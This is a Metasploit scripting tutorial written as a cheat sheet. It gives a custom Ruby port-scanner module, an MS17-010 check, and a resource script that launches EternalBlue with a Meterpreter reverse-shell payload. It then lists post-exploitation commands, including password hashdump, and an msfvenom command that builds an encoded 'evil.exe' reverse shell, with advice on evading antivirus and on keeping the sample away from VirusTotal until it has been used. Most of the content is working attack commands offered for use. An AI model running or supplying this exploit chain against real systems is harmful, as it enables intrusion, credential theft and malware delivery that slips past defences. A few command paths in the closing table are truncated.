16. Metasploit - Scripting

🔧 1. Create a Custom Auxiliary Module for Port Scanning

📁 Path:

```
~/.msf4/modules/auxiliary/scanner/custom/portscan.rb
```

📜 Example Code:

```ruby
require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'Custom TCP Port Scanner',
      'Description' => 'Scans ports and identifies open ones',
      'Author'      => 'YourAlias',
      'License'     => MSF_LICENSE
    )

    register_options([
      Opt::RPORT(80),
      OptInt.new('STARTPORT', [true, 'Start of port range', 20]),
      OptInt.new('ENDPORT', [true, 'End of port range', 1024])
    ])
  end

  def run_host(ip)
    (datastore['STARTPORT']..datastore['ENDPORT']).each do |port|
      begin
        connect(false, {'RHOST' => ip, 'RPORT' => port})
        print_good("#{ip}:#{port} is open")
      rescue Rex::ConnectionError
        # Closed port
      ensure
        disconnect
      end
    end
  end
end
```

▶️ Load It:

```
msfconsole
use auxiliary/scanner/custom/portscan
```

☠️ 2. Check for MS17-010 Vulnerability (EternalBlue)

✅ Use the Auxiliary Checker:

```
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <target_ip>
run
```

🟩 Output:

- `Host is likely VULNERABLE to MS17-010!` ✅
- Or: `The target is not vulnerable.` ❌

🤖 3. Automate Exploit + Payload Execution in a Custom Module

🧠 Write a Module that:

- Uses `Msf::Exploit::Remote::SMB`
- Connects
- Sends payload if a condition is met

⚠️ Best Practice:

Use resource scripts for quick automation instead.

📜 Example `.rc` File:

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.56.105
set LHOST 192.168.56.1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LPORT 4444
exploit
```

▶️ Execute:

```
msfconsole -r auto_exploit.rc
```

🧠 4. Gather System Info with Post-Exploitation Modules

After a Meterpreter session is active:

```
sessions
sessions -i <id>
```

🔍 Useful Post Modules:

```
run post/windows/gather/hashdump
run post/windows/gather/enum_logged_on_users
run post/windows/gather/checkvm
run post/multi/recon/local_exploit_suggester
```

🧰 Or manually in Meterpreter:

```
sysinfo
getuid
ipconfig
```

🦠 5. Create & Encode a Custom Payload to Evade AV

⚠️ Real-World Note:

Simple encoding won't bypass modern AVs. You need multi-layer obfuscation.

📜 Payload Creation:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -e
x86/shikata_ga_nai -i 5 -f exe -o evil.exe
```

🔹 Flags Explained:

- `-e`: Encoder (like `shikata_ga_nai`)
- `-i 5`: 5 iterations (re-encoding)
- `-f exe`: Output format
- `-o evil.exe`: Output file

🧪 Test It:

Upload to VirusTotal sandbox **only if you're done using it** (to avoid detection signatures getting trained on it).

🔒 Better Obfuscation (for advanced users):

- Use **Veil-Evasion** or **Shellter**
- Manually obfuscate with **C**, **PowerShell**, or **macro scripts**

📦 Summary

Task	Tool/Module	Command/Path
Custom Port Scanner	`~/.msf4/modules/auxiliary/...`	`use auxiliary/scanner/custom/portsc`
MS17-010 Vulnerability Check	`auxiliary/scanner/smb/smb_ms17_010`	`run` after setting `RHOSTS`
Auto Exploit + Payload	Resource Script	`msfconsole -r script.rc`
Post-Exploitation Information Gathering	`post/windows/gather/*` modules	`run post/windows/gather/hashdur`
AV-Evading Payload	`msfvenom`, encoders	`-e x86/shikata_ga_nai -i 5 -f exe`